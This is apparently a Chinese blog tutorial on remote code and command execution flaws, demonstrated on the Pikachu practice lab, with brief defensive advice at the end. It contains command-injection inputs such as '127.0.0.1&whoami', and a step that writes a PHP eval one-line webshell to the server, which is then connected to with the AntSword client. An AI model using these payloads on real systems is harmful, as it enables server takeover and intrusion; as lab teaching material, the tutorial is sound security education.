【网络安全】-rce漏洞-pikachu

rce漏洞包含命令执行漏洞与代码执行漏洞

文章目录

前言 什么是rce漏洞?

1.rce漏洞产生原因:

2.rce的分类:

命令执行漏洞:

命令拼接符:

常用函数:

代码执行漏洞:

常用函数:

分类:

3.防御措施:

总结


前言 什么是rce漏洞?

由于应用程序在处理用户输入时未能正确验证、过滤或限制输入数据,导致hacker能通过网络在目标系统上执行任意代码或命令,从而完全控制受影响的系统。


1.rce漏洞产生原因:

在研发员开发中,为了考虑代码的灵活性与简洁性,会调用能将字符串转化成代码的函数去处理,但是研发员调用这些函数,没有考虑hacker能控制这个字符串或命令,造成代码执行漏洞与命令执行漏。

2.rce的分类:

命令执行漏洞:

实例:pikachu靶场

输入:127.0.0.1

输入:恶意命令whoami查看隐私信息:

报错。

但是我们用命令拼接符&拼接:127.0.0.1&whoami (ping 127.0.0.1 正确命令 & whoami 正确命令(限制))

输出whoami信息,说明服务器对输入的恶意命令做了限制,但我们可以进行命令拼接绕过限制,输入我们的恶意命令。

命令拼接符:

定义:把两条以上的命令拼接在一起的特殊符号。

Windows系统命令拼接符:

&:拼接符两边只要有一个为真就执行

实例:

回显本地ip地址

ifconfig&whoami (ifconfig Lunx命令 错误命令 & 正确命令(限制))

&&:命令拼接符拼接多个命令时,遇到假的终止执行

ifconfig&&whoami (ifconfig Lunx命令 错误命令 & 正确命令(限制))

|:命令拼接符拼接多个命令时,只要有一个为假都不执行; 如果为真都执行,但只是回显最后一个命令的运行结果;

Ifconfig|127.0.0.1 (ifconfig Lunx命令 错误命令 & 正确命令)

127.0.0.1|ifconfig (ping 127.0.0.1 正确命令 &(ifconfig Lunx命令 错误命令))

直接返回如下页面:

127.0.0.1|whoami (ping 127.0.0.1 正确命令 & whoami 正确命令(限制))

||:命令拼接符拼接多个命令时,按顺序执行,遇到真的就执行且只执行一次;

ifconfig||127.0.0.1 (ifconfig Lunx命令 错误命令 & 正确命令)

127.0.0.1||ifconfig (ping 127.0.0.1 正确命令 &(ifconfig Lunx命令 错误命令))

127.0.0.1||whoami (ping 127.0.0.1 正确命令 & whoami 正确命令(限制))

Linux系统命令拼接符:

;:无论拼接的命令为真还是为假都按照顺序执行命令;

&:无论命令为真或者为假,都执行但不按照顺序执行;

&&:如果都为真时按照顺序执行;如果存在假的测终止执行

||:按顺序执行,遇到真的就执行且只执行一次;

常用函数:

system()函数:执行外部程序并显示输出

exec()函数:执行一个外部程序

shell_exec()函数:通过shell环境执行命令,并以字符串的形式返回输出

passthru()函数:执行外部命令并显示原始输出

pentl_exec函数:在当前进程空间执行指定程序

代码执行漏洞:
常用函数:

eval(),assert()函数:把字符串作为PHP代码执行

call_user_func()函数:把第一参数作为回调函数

call user func array()函数:调用回调函数,并把第一个数组参数作为回函调数的参数

arry_map()函数:为数组的每个元素应用回调函数

分类:

本地代码执行漏洞:利用本地漏洞来执行恶意代码。

必须先获得对目标系统的部分访问权限,通常是通过物理访问或已有账户登录,进入服务器后,找到输入框来执行恶意代码。

远程代码执行漏洞:从互联网执行恶意代码,

它允许攻击者不受限制地控制目标系统。

不需要物理访问或现有访问权限,它允许hacker不受限制地控制目标系统。

实例:pikachu远程代码执行命令:

rec_php文件,直接解析php代码试试?

用phpinfo();代码:

解析成功。

我们还可以进一步操作拿到webshell:

步骤:在rce_ping.php中输入127.0.0.1 &dir查看文件

有rce_php,rce_eval.php,rce_ping.php,说明我们要是上传一个码子上去,与,rce_eval.php路径相同。

开搞:127.0.0.1 & echo "<?php @eval($_POST[cmd]); ?>" > rce1.php //码子

再次在rce_ping.php中输入127.0.0.1 &dir查看文件,可以看到我们的码子

然后输入url验证一下:

因为码子上与,rce_eval.php路径相同。

rce_eval.php路径:http://pikachu-master/vul/rce/rce_eval.php

码子路径: http://pikachu-master/vul/rce/rce1.php

用中国蚁剑连接:

步骤:右键,添加数据。

只管url地址:码子的url

连接密码:一句话木马<?php @eval($_POST[cmd]); ?>中[ ]里的cmd.

点击测试连接显示连接成功。

3.防御措施:

输入验证和过滤:确保所有用户输入都经过严格的验证和过滤,避免恶意数据进入系统。

启用防御性编程:在开发中使用安全的编码实践,例如避免直接执行用户输入的命令或查询。

使用沙箱技术:将应用程序运行在受限的环境中,防止恶意代码影响整个系统。


总结

RCE漏洞是一种严重的安全漏洞类型,对系统安全构成重大威胁。

相关推荐
吕永强36 分钟前
HTML表单标签
前端·html·表单标签
范特西是只猫1 小时前
echarts map地图动态下钻,自定义标注,自定义tooltip弹窗【完整demo版本】
前端·javascript·echarts
麒麟而非淇淋1 小时前
AJAX 进阶 day4
前端·javascript·ajax
图灵苹果1 小时前
【个人博客hexo版】hexo安装时会出现的一些问题
前端·前端框架·npm·node.js
IT-陈2 小时前
app抓包 chrome://inspect/#devices
前端·chrome
newxtc4 小时前
【图虫创意-注册安全分析报告-无验证方式导致安全隐患】
安全·web安全·网络安全·系统安全·网络攻击模型·安全威胁分析
hahaha 1hhh5 小时前
Long类型前后端数据不一致
前端
Python私教8 小时前
Go语言现代web开发13 方法和接口
前端·数据库·golang
ForRunner1238 小时前
2024 年最佳 Chrome 验证码扩展,解决 reCAPTCHA 问题
前端·chrome
AiFlutter8 小时前
Flutter Web首次加载时添加动画
前端·flutter